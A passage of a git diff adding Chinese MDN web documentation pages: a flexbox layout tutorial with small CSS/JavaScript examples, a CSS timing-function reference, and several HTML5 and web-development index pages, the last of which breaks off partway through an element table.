[2] 直到 Firefox 22 为止,用户必须修改 about:config 设置,将 layout.css.flexbox.enabled 改为 true 才能激活对弹性盒子的支持。从 Firefox 22 到 Firefox 27,此设置项默认为 true,而 Firefox 28 中取消了此设置项。

+ +

[3] Internet Explorer 10 支持的是规范的一个与现有版本不兼容的旧版草案;Internet Explorer 11 已更新为 支持最终版本。

+ +

[4] Android 浏览器直到 4.3 为止支持的是规范的一个与现有版本不兼容的旧版草案。Android 4.4 已更新为支持最终版本。

+ +

[5] 在 Opera 12.10 的弹性盒子初始实现中是没有前缀的,但 Opera 版本 15 到 16 和 Opera Mobile 的 15 到 19 需要 {{property_prefix("-webkit")}}. 在 Opera 17 及 Opera Mobile 24 中再次取消了前缀。

+ +

[6] 直到 Firefox 29 为止,在弹性项目上指定 visibility: collapse 将使其被视为 display: none 处理,而预期的行为是被视为 visibility: hidden。建议的处理方式是在弹性项目上使用 visibility:hidden,这样其行为应当与指派了 visibility:collapse 一致。更多信息,参考 {{bug(783470)}}.

+ +

参见

+ + diff --git a/files/zh-cn/conflicting/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html b/files/zh-cn/conflicting/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html new file mode 100644 index 0000000000..9ea8045d96 --- /dev/null +++ b/files/zh-cn/conflicting/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html @@ -0,0 +1,187 @@ +--- +title: 使用flexbox来布局web应用 +slug: Web/CSS/CSS_Flexible_Box_Layout/Using_flexbox_to_lay_out_web_applications +tags: + - CSS + - 弹性盒子 +translation_of: Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox +translation_of_original: Web/CSS/CSS_Flexible_Box_Layout/Using_flexbox_to_lay_out_web_applications +--- +

{{CSSRef}}

+ +

使用 flexbox 可以帮助你设计出引人注目的布局,并且在pc端或移动端能够很好的缩放。告别使用浮动的 {{HTMLElement("div")}} 元素、绝对定位 和一些JavaScript hacks, 使用仅仅几行 CSS 就可以构建出水平或垂直方向的布局。下面是一些基本的使用案例:

+ + + +

这篇文章只囊括了在不使用前缀就可以支持现行标准的浏览器下如何使用 flexbox 的相关信息。 想了解更多关于带有供应商前缀的老版本浏览器的资料,请点击这里 the more general guide to using CSS flexible boxes.

+ +

基础

+ +

如果你想让元素呈水平或柱状,或如果你想让元素垂直布局,在任何 {{HTMLElement("div")}} 元素中,通过设置 {{cssxref("display")}} 属性为 flex 来使用flexbox,然后设置它任意一行的 {{cssxref("flex-flow")}} 属性, 你就可以在其中尽情的创建元素了。如果你正在使用水平的 flexbox,并想让你的内容垂直换行,只需指定值为wrap。

+ +

接下来,只要你想让某个元素使用弹性布局,就为它添加 {{cssxref("flex")}} 属性。一般情况下,你将会使用下列三个值之一:

+ + + +

有可能还有使用方法,但是这应该囊括了最基本的使用案例。让我们用几个例子来看看如何使用。

+ +

示例 1: 在页面中把一个元素居中

+ +

在这个例子中,要做的最简单的事情就是创建两个 flexbox,其中一个在另一个中。每个 flexbox 有三个元素:其中两个当作中间元素的垫子,另一个就是中间元素本身。

+ +

CSS 内容

+ +
.vertical-box {
+  display: flex;
+  height: 400px;
+  width: 400px;
+  flex-flow: column;
+}
+.horizontal-box {
+  display: flex;
+  flex-flow: row;
+}
+.spacer {
+  flex: auto;
+  background-color: black;
+}
+.centered-element {
+  flex: none;
+  background-color: white;
+}
+
+ +

HTML 内容

+ +
<div class="vertical-box">
+  <div class="spacer"></div>
+  <div class="centered-element horizontal-box">
+    <div class="spacer"></div>
+    <div class="centered-element">Centered content</div>
+     <div class="spacer"></div>
+  </div>
+  <div class="spacer"></div>
+</div>
+
+ +

结果

+ +

{{ EmbedLiveSample('示例_1_在页面中把一个元素居中', 500, 500) }}

+ +

示例2: 垂直放置一系列的容器

+ +

假设你有一个带有头部区域,内容区域,和底部区域的页面。头部和底部应该有一个固定的尺寸,但是内容区域应该根据可以利用的空间来缩放。这可以通过设置内容区域的 {{cssxref("flex")}} 属性,设置头部区域 {{cssxref("flex")}} 属性,底部区域不设置来实现自动扩展功能。

+ +

CSS 内容

+ +
.vertical-box {
+  display: flex;
+  height: 400px;
+  width: 400px;
+  flex-flow: column;
+}
+.fixed-size {
+  flex: none;
+  height: 30px;
+  background-color: black;
+  text-align: center;
+}
+.flexible-size {
+  flex: auto;
+  background-color: white;
+}
+
+ +

HTML 内容

+ +
<div id="document" class="vertical-box">
+  <div class="fixed-size"><button id="increase-size">Increase container size</button></div>
+  <div id="flexible-content" class="flexible-size"></div>
+  <div class="fixed-size"><button id="decrease-size">Decrease container size</button></div>
+</div>
+
+ +

Javascript 内容

+ +
var height = 400;
+document.getElementById('increase-size').onclick=function() {
+  height += 10;
+  if (height > 500) height = 500;
+  document.getElementById('document').style.height = (height + "px");
+}
+
+document.getElementById('decrease-size').onclick=function() {
+  height -= 10;
+  if (height < 300) height = 300;
+  document.getElementById('document').style.height = (height + "px");
+}
+ +

结果

+ +

{{ EmbedLiveSample('示例2_垂直放置一系列的容器', 500, 500) }}

+ +

这个例子已经设定好了,可以通过点击头部来增加尺寸,通过点击底部来减小尺寸。仔细观察在保持头部和底部尺寸不变的情况下,内容区域是如何自动缩放的。

+ +

示例3: 创建一个水平折叠的容器

+ +

在某些时候,你可能想让一些信息在屏幕尺寸允许的情况下呈水平布局,但是在屏幕不允许的情况下可以水平折叠。这对 flexbox 来讲太容易实现了。你通过设置 {{cssxref("flex-flow")}} 的值为 wrap 来实现。

+ +

CSS 内容

+ +
.horizontal-container {
+  display: flex;
+  width: 300px;
+  flex-flow: row wrap;
+}
+.fixed-size {
+  flex: none;
+  width: 100px;
+  background-color: black;
+  color: white;
+  text-align: center;
+}
+
+ +

HTML 内容

+ +
<div id="container" class="horizontal-container">
+  <div class="fixed-size">Element 1</div>
+  <div class="fixed-size">Element 2</div>
+  <div class="fixed-size">Element 3</div>
+</div><button id="increase-size">Increase container size</button><button id="decrease-size">Decrease container size</button>
+
+ +

Javascript 内容

+ +
var width = 300;
+
+document.getElementById('increase-size').onclick=function() {
+  width += 100;
+  if (width > 300) width = 300;
+  document.getElementById('container').style.width = (width + "px");
+}
+
+document.getElementById('decrease-size').onclick=function() {
+  width -= 100;
+  if (width < 100) width = 100;
+  document.getElementById('container').style.width = (width + "px");
+}
+
+ +

结果

+ +

{{ EmbedLiveSample('示例3_创建一个水平折叠的容器', 500, 200) }}

+ +

参考

+ + diff --git a/files/zh-cn/conflicting/web/css/easing-function/index.html b/files/zh-cn/conflicting/web/css/easing-function/index.html new file mode 100644 index 0000000000..aef640fdd3 --- /dev/null +++ b/files/zh-cn/conflicting/web/css/easing-function/index.html @@ -0,0 +1,266 @@ +--- +title: +slug: Web/CSS/timing-function +tags: + - CSS + - timing-function +translation_of: Web/CSS/easing-function +translation_of_original: Web/CSS/timing-function +--- +

{{ CSSRef() }}

+ +

<timing-function> CSS 数据类型表示一个数学函数,它描述了在一个过渡或动画中一维数值的改变速度。这实质上让你可以自己定义一个加速度曲线,以便动画的速度在动画的过程中可以进行改变。这些函数通常被称为缓动函数。

+ +

这是一个表示时间输出比率的函数,表示为{{cssxref("<number>")}},0, 0 代表初始状态,1, 1 代表终止状态。

+ +

输出比可以大于1.0(或者小于0.0)。这是因为在一种反弹效果中,动画是可以比最后的状态走的更远的,然后再回到最终状态。

+ +

不过,如果输出值超过了它允许的范围,比如组成一个颜色的值大于了255或者小于了0,这个值会被修改为允许范围内的最接近的值(在颜色值这个例子中分别为255和0)。一些贝塞尔曲线展示了这些性质。

+ +

定时函数

+ +
+

CSS 支持两种定时函数:立方贝塞尔曲线的子集和阶梯函数。这些函数中最有用的是一个关键字,可以很容易地引用它们。

+ +

cubic-bezier() 定时函数

+ + + + + + + + +
+

+
+

cubic-bezier() 定义了一条 立方贝塞尔曲线(cubic Bézier curve)。这些曲线是连续的,一般用于动画的平滑变换,也被称为缓动函数(easing functions)。

+ +

一条立方贝塞尔曲线需要四个点来定义,P0 、P1 、P2 和 P3。P0 和 P3 是起点和终点,这两个点被作为比例固定在坐标系上,横轴为时间比例,纵轴为完成状态。P0 是 (0, 0),表示初始时间和初始状态。P3 是 (1, 1) ,表示终止时间和终止状态。

+ +

并非所有的三次贝塞尔曲线都适合作为计时函数,也并非所有的曲线都是数学函数,即给定横坐标为0或1的曲线。在CSS定义的P0和P3固定的情况下,三次贝塞尔曲线是一个函数,因此,当且仅当P1和P2的横坐标都在[0,1]范围内时,三次贝塞尔曲线是有效的。

+ +

三次贝塞尔曲线的 P1或 P2坐标超出[0, 1] 范围可能会产生弹跳效果。

+ +

当指定的三次贝塞尔曲线无效时,CSS将忽略整个属性。

+
+
+ +

语法

+ +
cubic-bezier(x1, y1, x2, y2)
+
+ +

其中,

+ +
+
x1, y1, x2, y2是<number>类型的值,它们代表当前定义立方贝塞尔曲线中的P1 和 P2点的横坐标和纵坐标,X1和X2必须在[0,1]范围内,否则当前值无效。
+
Are {{cssxref("<number>")}} values representing the abscissas and ordinates of the P1 and P2 points defining the cubic Bézier curve. x1 and x2 must be in the range [0, 1] or the value is invalid.
+
+ +

示例

+ +

CSS 中允许使用这些贝塞尔曲线:

+ +
cubic-bezier(0.1, 0.7, 1.0, 0.1)   The canonical Bézier curve with four <number> in the [0,1] range.
+cubic-bezier(0, 0, 1, 1)           Using <integer> is valid as any <integer> is also a <number>.
+cubic-bezier(0.3, -1.9, 2.1, -0.2) Negative values for ordinates are valid, leading to bouncing effects.
+cubic-bezier(0.1, 4, 0.6, 2.45)    Values > 1.0 for ordinates are also valid.
+ +

像这些贝塞尔曲线的定义是无效的:

+ +
cubic-bezier(0.1, red, 1.0, green) Though the animated output type may be a color, Bézier curves work w/ numerical ratios.
+cubic-bezier(-0.2, 0.6, -0.1, 0)   Abscissas must be in the [0, 1] range or the curve is not a function of time.
+cubic-bezier(0.3, 2.1)             The two points must be defined, there is no default value.
+cubic-bezier(1.1, 0, 4, 0)         Abscissas must be in the [0, 1] range or the curve is not a function of time.
+
+ +

The steps() class of timing-functions

+ + + + + + + + + + + + + +
+ + + + + + + +
+

steps() 定义了一个以等距步长划分值域的步长函数。这个阶跃函数的子类有时也称为阶梯函数。

+
+
steps(2, start)steps(4, end)
+ +

Syntax

+ +
steps(number_of_steps, direction)
+
+ +

where :

+ +
+
number_of_steps
+
Is a strictly positive {{cssxref("<integer>")}} representing the amount of equidistant treads composing the stepping function.
+
direction
+
Is a keyword indicating if it the function is left- or right-continuous: +
    +
  • start denotes a left-continuous function, so that the first step happens when the animation begins;
  • +
  • end denotes a right-continuous function, so that the last step happens when the animation ends.
  • +
+
+
+ +

Examples

+ +

These timing functions are valid :

+ +
steps(5, end)          There is 5 treads, the last one happens right before the end of the animation.
+steps(2, start)        A two-step staircase, the first one happening at the start of the animation.
+
+ +

These timing function are invalid :

+ +
steps(2.0, end)        The first parameter must be an <integer> and cannot be a real value, even if it is equal to one.
+steps(-3, start)       The amount of steps must be non-negative.
+steps(0, end)          There must be at least one step.
+steps(2)               The second parameter is not optional.
+steps(start, 3)        Though of different types, the order of parameter is important.
+step(1, end)           Even if there is one step, the function name is steps, with the plural 's'
+steps(3 end)           The two parameters must be separated with a comma; one or several spaces is not enough.
+
+ +

常用定时函数关键字

+ +

linear

+ + + + + + + + +
+

此关键字表示定时函数cubic-bezier(0.0, 0.0, 1.0, 1.0)。使用这个定时函数,动画会以恒定的速度从初始状态过渡到结束状态。

+
+ +

ease

+ + + + + + + + +
此关键字表示定时函数 cubic-bezier(0.25, 0.1, 0.25, 1.0)。 这个函数类似于 ease-in-out, 尽管它在开始时加速地更快,但在接近中间中,加速已经开始变慢了。
+ +

ease-in

+ + + + + + + + +
+

此关键字表示定时函数cubic-bezier(0.42, 0.0, 1.0, 1.0)。动画开始时缓慢,然后逐步加速,知道达到最后状态,动画突然停止。

+
+ +

ease-in-out

+ + + + + + + + +
+

此关键字表示定时函数 cubic-bezier(0.42, 0.0, 0.58, 1.0)。使用这个定时函数,动画开始的行为类似于 ease-in 函数,动画结束时的行为类似于 ease-out函数。

+
+ +

ease-out

+ + + + + + + + +
+

此关键字表示定时函数 cubic-bezier(0.0, 0.0, 0.58, 1.0)。动画开始很快,然后逐渐减慢,直到最终状态。

+
+ +

step-start

+ + + + + + + + +
此关键字表示定时函数 steps(1, start)。使用这个定时函数,动画会立刻跳转到结束状态,并一直停留在结束状态直到动画结束。
+ +

step-end

+ + + + + + + + +
+

此关键字表示定时函数 steps(1, end)。使用这个定时函数,动画会一直保持初始状态直到动画结束,然后立刻跳转到结束状态。

+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Transitions', '#transition-timing-function', '<timing-function>') }}{{ Spec2('CSS3 Transitions') }}Defined anonymously
{{ SpecName('CSS3 Animations', '#animation-timing-function', '<timing-function>') }}{{ Spec2('CSS3 Animations') }}Defined anonymously, says to see definition in the CSS Transitions Module
+ +

浏览器兼容性

+ +

{{Compat("css.types.timing-function", 2)}}

+ +

相关链接

+ + diff --git a/files/zh-cn/conflicting/web/guide/html/html5/index.html b/files/zh-cn/conflicting/web/guide/html/html5/index.html new file mode 100644 index 0000000000..3759db3097 --- /dev/null +++ b/files/zh-cn/conflicting/web/guide/html/html5/index.html @@ -0,0 +1,169 @@ +--- +title: HTML5 & friends thematic classification +slug: Web/Guide/HTML/HTML5/HTML5_Thematic_Classification +translation_of: Web/Guide/HTML/HTML5 +translation_of_original: Web/Guide/HTML/HTML5/HTML5_Thematic_Classification +--- +

这个页面提供了有关HTML5的主题链接,有些链接一般与HTML5关联但实际上并不是HTML标准,为了方便这些内容也被整理到这里。

+

HTML

+

Audio 和 video

+
+ Firefox 3.5引入对HTML5<audio>和<video>元素的支持,提供向HTML文档轻松嵌入媒体资源的能力。参考:在 Firefox 中使用audio和video
+
+  
+

Canvas

+

<Canvas>是HTML新元素,可以用于通过脚本(常用 JavaScript)绘制图像,例如,它可以用来绘制图表,合成照片甚至实现动画。

+

参考:

+ +

WebGL (独立规范)

+
+ webGL WebGL brings 3D graphics to the Web by introducing an API that closely conforms to OpenGL ES 2.0 and can be used in HTML5 {{ HTMLElement("canvas") }} elements.
+
+ Reference: WebGL
+

Inline SVG and MathML

+
+ HTML5 parsing liberates MathML and SVG from XML and makes them available in the main file format of the Web.
+
+ Reference:
+ + +
+ Link relations complement the <a> tag and specify why you're pointing to another page.
+
+ Reference:
+

Web forms

+
+ Form elements and attributes in HTML5 provide a greater degree of semantic mark-up than HTML4 and remove a great deal of the need for tedious scripting and styling that was required in HTML4.
+
+ Reference:
+ +

Microformats (separate specification)

+
+ Microformats allow web sites to provide semantic data to the browser in order to make it possible to present summaries of the information on a page without having to know how to parse the document itself.
+
+ Reference: Using microformats
+ +

Semantic tags

+
+ The HTML5 specification brings several new elements to web developers allowing them to describe the structure of a web document with a standard semantics.
+
+ Reference:
+ +

JavaScript (separate specifications)

+

Client-Side Storage

+
+ Firefox supports the HTML 5 specification for offline caching of web applications' resources and offline storage of data.
+
+ Reference:
+ +

IndexedDB

+
+ IndexedDB is an evolving web standard for the storage of significant amounts of structured data in the browser and for high performance searches on this data using indexes.
+
+ Reference: IndexedDB
+

Web workers (separate specification)

+
+ Workers provide a simple means for web content to run scripts in background threads.  Once created, a worker can send messages to the spawning task by posting messages to an event handler specified by the creator.
+
+ Reference: Using web workers
+

New events

+
+ In order to build a good offline-capable web application, you need to know when your application is actually offline. Incidentally, you also need to know when your application has returned to an online status again.
+ +

Drag and drop

+
+ Firefox and other Mozilla applications support a number of features for handling drag and drop. This allows you the user to click and hold the mouse button down over an element, drag it to another location, and release the mouse button to drop the element there.
+
+ Reference: Drag and Drop
+

Protocol handler

+
+

It's fairly common to find web pages link to resources using non-http protocols. You can think of this as a desktop-based protocol handler.

+

Reference: Web-based protocol handler

+

Geolocation

+
+
+ The Geolocation API allows the user to provide their location to web applications if they so desire.  For privacy reasons, the user is asked to confirm permission to report location information.
+
+ Reference: Using geolocation
+ +
+

Focus attributes

+
+ The focus atributes let a script understand if an element has the focus of the user and then act accordingly.
+ +        
+

CSS (separate specifications)

+

New CSS selectors

+
+ The following page shows the CSS3 support in Firefox and the new elements for HTML5.
+ +

Typography

+

The following pages show some of the typography attributes introduced by CSS3.

+
+ Text wrap:
+ +

Layout

+
+ Columns:
+ +

Visual

+
+ The following pages show some of the visual attributes introduced by CSS3.
+ +

Dynamic effects

+
+ CSS also introduces dynamic effects:
+ +

{{ languages( { "ja": "ja/HTML/HTML5/HTML5_Thematic_Classification"} ) }}

diff --git a/files/zh-cn/conflicting/web/guide/index.html b/files/zh-cn/conflicting/web/guide/index.html new file mode 100644 index 0000000000..ef8d7dac56 --- /dev/null +++ b/files/zh-cn/conflicting/web/guide/index.html @@ -0,0 +1,96 @@ +--- +title: Web 开发 +slug: Web_Development +translation_of: Web/Guide +translation_of_original: Web_Development +--- +

Web 开发 包括开发网站和Web应用程序的方方面面。

+

在本文中,您将学到创建从简单到复杂的Web站点、使用最新Web技术的高度互动的网站。

+ + + + + + + +
+

文档主题

+

技术

+
+
+ Web 开发介绍
+
+ 一份介绍怎样开发进行Web开发的指南。
+
+ HTML
+
+ 超文本标记语言是创建网页和其他显示在浏览器的文档的基础语言。
+
+ CSS
+
+ 层叠样式表的强大功能能使您在 Web 上安排布局和页面设计。
+
+ JavaScript
+
+ JavaScript 是最常用的 Web 应用程序开发的脚本语言;它也用于开发基于 Mozilla 的软件。
+
+ DOM
+
+ 文档对象模型是一个 HTML 和 XML 文档的 API,其提供了一个结构化的文档表示以供修改它的可见表示。
+
+ AJAX
+
+ AJAX(异步的 JavaScript 与 XML 技术)并非一种技术,而是这两种技术的组合应用;通过 JavaScript 和其他时髦的 Web 技术共同创建动态 Web 应用程序。
+
+ XHTML
+
+ 可扩展的超文本标记语言是一个基于 XML 的类 HTML 语言,同 HTML 相比其语法更加严格。
+
+ SVG
+
+ 可缩放矢量图形是一个描述二维矢量图形的 XML 标记语言。
+
+

策略

+
+
+ Web 标准
+
+ 了解如何使你的网站或者应用程序通过开放 Web 标准,兼容最大多数用户的访问。
+
+ 响应性 Web 设计
+
+ 使用 CSS 在所有硬件平台上呈现相同内容,从手机到宽屏、高分辨率的桌面显示器。
+
+ 编写向前兼容的网站
+
+ 建立即使浏览器更新也不会出现问题的网站的最佳实践。
+
+ 移动 Web 开发
+
+ 通过一些与面向桌面浏览器开发完全不同的独特方法,来开发面向移动设备的网站。
+
+ Mozilla Web 开发者常见问题解答
+
+ Web开发者经常提的一些问题。当然还有答案喽!
+
+

查看更多...

+
+

社区

+ +

工具

+ +

查看更多...

+
+

 

+

{{ languages( { "de": "de/Webentwicklung", "en": "en/Web_Development","es": "es/Desarrollo_Web", "fr": "fr/D\u00e9veloppement_Web", "it": "it/Sviluppo_Web", "ja": "ja/Web_Development", "pl": "pl/Programowanie_WWW" } ) }}

diff --git a/files/zh-cn/conflicting/web/guide/mobile/index.html b/files/zh-cn/conflicting/web/guide/mobile/index.html new file mode 100644 index 0000000000..ac53f993c1 --- /dev/null +++ b/files/zh-cn/conflicting/web/guide/mobile/index.html @@ -0,0 +1,18 @@ +--- +title: 移动 Web 开发 +slug: Web_Development/Mobile +tags: + - Mobile + - NeedsTranslation + - TopicStub + - Web Development +translation_of: Web/Guide/Mobile +translation_of_original: Web_Development/Mobile +--- +

开发能在移动设备上浏览的网站需要一些方法来确保网站在移动设备上可以如同在桌面浏览器上一样正常运作。以下的文章介绍了部分方法:

+ diff --git a/files/zh-cn/conflicting/web/html/element/index.html b/files/zh-cn/conflicting/web/html/element/index.html new file mode 100644 index 0000000000..9a45c3ba52 --- /dev/null +++ b/files/zh-cn/conflicting/web/html/element/index.html @@ -0,0 +1,591 @@ +--- +title: HTML5 标签列表 +slug: Web/Guide/HTML/HTML5/HTML5_element_list +tags: + - HTML + - HTML5 + - Web + - 初学者 + - 指南 +translation_of: Web/HTML/Element +translation_of_original: Web/Guide/HTML/HTML5/HTML5_element_list +--- +

这里列出了所有标准化的 HTML5 元素,使用起始标签描述,按照功能分组。与列出所有标准化的、非标准化的、有效的、废弃的标签的 HTML 元素索引 不同的是,该页只列出有效的 HTML5 元素。新网站应当只使用这里列出的元素。

+ +

符号 这个元素在 HTML5 中加入 代表该元素是在 HTML5 中新增的。另外注意,这里列出的其他元素可能在 HTML5 标准中得到了扩充或经过修改。

+ +

根元素

+ + + + + + + + + + + + + + +
ElementDescription
{{HTMLElement("html")}}代表 HTML 或 XHTML 文档的根。其他所有元素必须是这个元素的子节点。
+ +

文档元数据

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ElementDescription
{{HTMLElement("head")}}代表关于文档元数据的一个集合,包括脚本或样式表的链接或内容。
{{HTMLElement("title")}}定义文档的标题,将显示在浏览器的标题栏或标签页上。该元素只能包含文本,包含的标签不会被解释。
{{HTMLElement("base")}}定义页面上相对 URL 的基准 URL。
{{HTMLElement("link")}}用于链接外部资源到该文档。
{{HTMLElement("meta")}}定义其他 HTML 元素无法描述的元数据。
{{HTMLElement("style")}}用于内联 CSS。
+ +

脚本

+ + + + + + + + + + + + + + + + + + + + + + +
ElementDescription
{{HTMLElement("script")}}定义一个内联脚本或链接到外部脚本。脚本语言是 JavaScript。
{{HTMLElement("noscript")}}定义当浏览器不支持脚本时显示的替代文字。
{{HTMLElement("template")}}这个元素在 HTML5 中加入通过 JavaScript 在运行时实例化内容的容器。
+ +

章节

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ElementDescription
{{HTMLElement("body")}} +
代表 HTML 文档的内容。在文档中只能有一个 <body> 元素。
+
{{HTMLElement("section")}} 这个元素在 HTML5 中加入定义文档中的一个章节。
{{HTMLElement("nav")}} 这个元素在 HTML5 中加入定义只包含导航链接的章节。
{{HTMLElement("article")}} 这个元素在 HTML5 中加入定义可以独立于内容其余部分的完整独立内容块。
{{HTMLElement("aside")}} 这个元素在 HTML5 中加入定义和页面内容关联度较低的内容——如果被删除,剩下的内容仍然很合理。
<h1>,<h2>,<h3>,<h4>,<h5>,<h6>标题元素实现了六层文档标题,<h1> 是最大的标题,<h6> 是最小的标题。标题元素简要地描述章节的主题。
{{HTMLElement("header")}} 这个元素在 HTML5 中加入定义页面或章节的头部。它经常包含 logo、页面标题和导航性的目录。
{{HTMLElement("footer")}} 这个元素在 HTML5 中加入定义页面或章节的尾部。它经常包含版权信息、法律信息链接和反馈建议用的地址。
{{HTMLElement("address")}}定义包含联系信息的一个章节。
{{HTMLElement("main")}}这个元素在 HTML5 中加入定义文档中主要或重要的内容。
+ +

组织内容

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ElementDescription
{{HTMLElement("p")}}定义一个段落。
{{HTMLElement("hr")}}代表章节、文章或其他长内容中段落之间的分隔符。
{{HTMLElement("pre")}}代表其内容已经预先排版过,格式应当保留 。
{{HTMLElement("blockquote")}}代表引用自其他来源的内容。
{{HTMLElement("ol")}}定义一个有序列表。
{{HTMLElement("ul")}}定义一个无序列表。
{{HTMLElement("li")}}定义列表中的一个列表项。
{{HTMLElement("dl")}}定义一个定义列表(一系列术语和其定义)。
{{HTMLElement("dt")}}代表一个由下一个 <dd> 定义的术语。
{{HTMLElement("dd")}}代表出现在它之前术语的定义。
{{HTMLElement("figure")}} 这个元素在 HTML5 中加入代表一个和文档有关的图例。
{{HTMLElement("figcaption")}} 这个元素在 HTML5 中加入代表一个图例的说明。
{{HTMLElement("div")}}代表一个通用的容器,没有特殊含义。
+ +

文字形式

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ElementDescription
{{HTMLElement("a")}}代表一个链接到其他资源的超链接
{{HTMLElement("em")}}代表强调 文字。
{{HTMLElement("strong")}}代表特别重要 文字。
{{HTMLElement("small")}}代表注释 ,如免责声明、版权声明等,对理解文档不重要。
{{HTMLElement("s")}}代表不准确或不相关 的内容。
{{HTMLElement("cite")}}代表作品标题
{{HTMLElement("q")}}代表内联的引用
{{HTMLElement("dfn")}}代表一个术语包含在其最近祖先内容中的定义
{{HTMLElement("abbr")}}代表省略缩写 ,其完整内容在 title 属性中。
{{HTMLElement("data")}} 这个元素在 HTML5 中加入关联一个内容的机器可读的等价形式 (该元素只在 WHATWG 版本的 HTML 标准中,不在 W3C 版本的 HTML5 标准中)。
{{HTMLElement("time")}} 这个元素在 HTML5 中加入代表日期时间 值;机器可读的等价形式通过 datetime 属性指定。
{{HTMLElement("code")}}代表计算机代码
{{HTMLElement("var")}}代表代码中的变量
{{HTMLElement("samp")}}代表程序或电脑的输出
{{HTMLElement("kbd")}}代表用户输入 ,一般从键盘输出,但也可以代表其他输入,如语音输入。
{{HTMLElement("sub")}},{{HTMLElement("sup")}}分别代表下标上标
{{HTMLElement("i")}}代表一段不同性质 的文字,如技术术语、外文短语等。
{{HTMLElement("b")}}代表一段需要被关注 的文字。
{{HTMLElement("u")}}代表一段需要下划线呈现的文本注释,如标记出拼写错误的文字等。
{{HTMLElement("mark")}} 这个元素在 HTML5 中加入代表一段需要被高亮的引用 文字。
{{HTMLElement("ruby")}} 这个元素在 HTML5 中加入代表被ruby 注释 标记的文本,如中文汉字和它的拼音。
{{HTMLElement("rt")}} 这个元素在 HTML5 中加入代表ruby 注释 ,如中文拼音。
{{HTMLElement("rp")}} 这个元素在 HTML5 中加入代表 ruby 注释两边的额外插入文本 ,用于在不支持 ruby 注释显示的浏览器中提供友好的注释显示。
{{HTMLElement("bdi")}} 这个元素在 HTML5 中加入代表需要脱离 父元素文本方向的一段文本。它允许嵌入一段不同或未知文本方向格式的文本。
{{HTMLElement("bdo")}}指定子元素的文本方向 ,显式地覆盖默认的文本方向。
{{HTMLElement("span")}}代表一段没有特殊含义的文本,当其他语义元素都不适合文本时候可以使用该元素。
{{HTMLElement("br")}}代表换行
{{HTMLElement("wbr")}} 这个元素在 HTML5 中加入代表建议换行 (Word Break Opportunity) ,当文本太长需要换行时将会在此处添加换行符。
+ +

编辑

+ + + + + + + + + + + + + + + + + + +
ElementDescription
{{HTMLElement("ins")}}定义增加 到文档的内容。
{{HTMLElement("del")}}定义从文档移除 的内容。
+ +

嵌入内容

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ElementDescription
{{HTMLElement("img")}}代表一张图片
{{HTMLElement("iframe")}}代表一个内联的框架
{{HTMLElement("embed")}} 这个元素在 HTML5 中加入代表一个嵌入 的外部资源,如应用程序或交互内容。
{{HTMLElement("object")}}代表一个外部资源 ,如图片、HTML 子文档、插件等。
{{HTMLElement("param")}}代表 <object> 元素所指定的插件的参数
{{HTMLElement("video")}} 这个元素在 HTML5 中加入代表一段视频 及其视频文件和字幕,并提供了播放视频的用户界面。
{{HTMLElement("audio")}} 这个元素在 HTML5 中加入代表一段声音 ,或音频流
{{HTMLElement("source")}} 这个元素在 HTML5 中加入<video><audio> 这类媒体元素指定媒体源
{{HTMLElement("track")}} 这个元素在 HTML5 中加入<video><audio> 这类媒体元素指定文本轨道(字幕)
{{HTMLElement("canvas")}} 这个元素在 HTML5 中加入代表位图区域 ,可以通过脚本在它上面实时呈现图形,如图表、游戏绘图等。
{{HTMLElement("map")}}<area> 元素共同定义图像映射 区域。
{{HTMLElement("area")}}<map> 元素共同定义图像映射 区域。
{{SVGElement("svg")}} 这个元素在 HTML5 中加入定义一个嵌入式矢量图
{{MathMLElement("math")}} 这个元素在 HTML5 中加入定义一段数学公式
+ +

表格

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ElementDescription
{{HTMLElement("table")}}定义多维数据
{{HTMLElement("caption")}}代表表格的标题
{{HTMLElement("colgroup")}}代表表格中一组单列或多列
{{HTMLElement("col")}}代表表格中的
{{HTMLElement("tbody")}}代表表格中一块具体数据 (表格主体)。
{{HTMLElement("thead")}}代表表格中一块列标签 (表头)。
{{HTMLElement("tfoot")}}代表表格中一块列摘要 (表尾)。
{{HTMLElement("tr")}}代表表格中的
{{HTMLElement("td")}}代表表格中的单元格
{{HTMLElement("th")}}代表表格中的头部单元格
+ +

表单

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ElementDescription
{{HTMLElement("form")}}代表一个表单 ,由控件组成。
{{HTMLElement("fieldset")}}代表控件组
{{HTMLElement("legend")}}代表 <fieldset> 控件组的标题
{{HTMLElement("label")}}代表表单控件的标题
{{HTMLElement("input")}}代表允许用户编辑数据的数据区 (文本框、单选框、复选框等)。
{{HTMLElement("button")}}代表按钮
{{HTMLElement("select")}}代表下拉框
{{HTMLElement("datalist")}} 这个元素在 HTML5 中加入代表提供给其他控件的一组预定义选项
{{HTMLElement("optgroup")}}代表一个选项分组
{{HTMLElement("option")}}代表一个 <select> 元素或 <datalist> 元素中的一个选项
{{HTMLElement("textarea")}}代表多行文本框
{{HTMLElement("keygen")}} 这个元素在 HTML5 中加入代表一个密钥对生成器 控件。
{{HTMLElement("output")}} 这个元素在 HTML5 中加入代表计算值
{{HTMLElement("progress")}} 这个元素在 HTML5 中加入代表进度条
{{HTMLElement("meter")}} 这个元素在 HTML5 中加入代表滑动条
+ +

交互元素

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
ElementDescription
{{HTMLElement("details")}} 这个元素在 HTML5 中加入代表一个用户可以(点击)获取额外信息或控件的小部件
